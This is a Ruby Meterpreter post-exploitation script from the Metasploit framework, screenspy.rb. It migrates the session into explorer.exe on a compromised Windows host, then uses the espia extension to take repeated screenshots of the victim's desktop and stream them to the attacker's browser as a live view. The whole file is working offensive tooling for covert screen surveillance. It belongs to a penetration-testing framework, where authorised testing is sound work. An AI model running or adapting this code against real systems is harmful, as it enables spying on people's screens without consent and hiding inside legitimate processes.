metasploit-framework/scripts/meterpreter/screenspy.rb

# $Id$
# $Revision$
# Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com
# 
# Thie script will open an interactive view of remote hosts
# You will need firefox installed on your machine


require 'fileutils'

opts = Rex::Parser::Arguments.new(
        "-h" => [ false, "Help menu." ],
        "-d" => [ true, "The Delay in seconds between each screenshot." ],
        "-t" => [ true, "The time to run in sec." ],
	"-s" => [ true, "The local system linux/windows" ]
)

freq = 3
count = 10
file = "screenshot.jpeg"
meter_type = client.platform
localsys = "linux"

opts.parse(args) { |opt, idx, val|
        case opt
        when '-d'
                freq = val.to_i
        when '-t'
                count = val.to_i
	when '-s'
                localsys = val.to_s
			
        when "-h"
		print_line
                print_line "Screenspy v1.0"
                print_line "--------------"
		print_line 
		print_line
		print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long."
		print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long."
		print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode."
		print_line
		print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com"
                print_line(opts.usage)
                raise Rex::Script::Completed
        end
}

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
	print_error("#{meter} version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
session = client



host,port = session.tunnel_peer.split(':')

print_status("New session on #{host}:#{port}...")

logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host)

outfile = ::File.join(Msf::Config.log_directory,file)

::FileUtils.mkdir_p(logs)


begin
	process2mig = "explorer.exe"
                    
	# Actual migration
	mypid = session.sys.process.getpid
	session.sys.process.get_processes().each do |x|
		if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
			print_status("#{process2mig} Process found, migrating into #{x['pid']}")
			session.core.migrate(x['pid'].to_i)
			print_status("Migration Successful!!")
		end
	end
rescue
	print_status("Failed to migrate process!")
	#next
end


begin
	session.core.use("espia")


	begin

		data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>"
		path1 = File.join(logs,"video.html")
		File.open(path1, 'w') do |f2|
			f2.puts(data)
		end

	
		if (localsys == "windows")
	
			print_status("Runing in local mode => windows")
			print_status("Opening Interactive view...")
			localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
		else
			print_status("Runing in local mode => Linux")
			print_status("Opening Interactive view...")
			localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\""
		end
	
		system (localcmd)
		(1..count).each do |i|	
			sleep(freq) if(i != 1)
			path = File.join(logs,"screenshot.jpeg")
                	data = session.espia.espia_image_get_dev_screen
	
               		if(data)
                       		::File.open(path, 'wb') do |fd|
                              		fd.write(data)
					fd.close()
				end
                	end
			
			
			
		end
	rescue ::Exception => e
		print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}")
	end

	print_status("The interactive Session ended...")
	data="<title>#{host} - Interactive Session ended</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><script>alert('Interactive Session ended - Happy Hunting')</script>"
	File.open(path1, 'w') do |f2|  
		f2.puts(data)
 	end  
	
rescue ::Exception => e
	print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end